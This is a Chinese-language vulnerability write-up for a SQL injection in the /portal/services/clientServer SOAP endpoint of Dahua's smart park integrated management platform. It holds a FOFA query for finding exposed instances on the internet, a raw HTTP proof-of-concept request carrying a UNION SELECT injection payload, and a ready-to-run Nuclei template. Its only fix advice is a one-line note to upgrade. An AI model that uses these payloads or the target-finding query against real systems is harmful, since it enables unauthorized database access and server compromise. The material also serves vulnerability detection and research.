免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
大华园区综合管理平台可能是一个集成多种管理功能的平台,例如安全监控、设备管理、人员管理等。这样的平台通常有助于提高园区运营效率和安全性。
大华园区综合管理平台**/portal/services/clientServer** 接口处存在SQL注入漏洞 ,恶意攻击者可能会利用该漏洞获取服务器敏感信息,最终可能导致服务器失陷。
Ⅱ、fofa语句
app="dahua-智慧园区综合管理平台"
Ⅲ、漏洞复现
POC
POST /portal/services/clientServer HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://clientServer.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<cli:getGroupInfoListByGroupId>
<!--type: string-->
<arg0>-1) UNION ALL SELECT 1,2,3,4,version()-- -</arg0>
<!--type: long-->
<arg1>1</arg1>
</cli:getGroupInfoListByGroupId>
</soapenv:Body>
</soapenv:Envelope>
1、构建数据包,查询当前数据库版本
Ⅳ、Nuclei-POC
id: Dahu-clientServer-SQL
info:
name: 大华园区综合管理平台/portal/services/clientServer 接口处存在SQL注入漏洞 ,恶意攻击者可能会利用该漏洞获取服务器敏感信息,最终可能导致服务器失陷。
author: WLF
severity: high
metadata:
fofa-query: app="dahua-智慧园区综合管理平台"
variables:
filename: "{{to_lower(rand_base(5))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
POST /portal/services/clientServer HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://clientServer.webservice.dssc.dahua.com">
<soapenv:Header/>
<soapenv:Body>
<cli:getGroupInfoListByGroupId>
<!--type: string-->
<arg0>-1) UNION ALL SELECT 1,2,3,4,version()-- -</arg0>
<!--type: long-->
<arg1>1</arg1>
</cli:getGroupInfoListByGroupId>
</soapenv:Body>
</soapenv:Envelope>
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"groupList","groupdetail")
Ⅴ、修复建议
升级至安全版本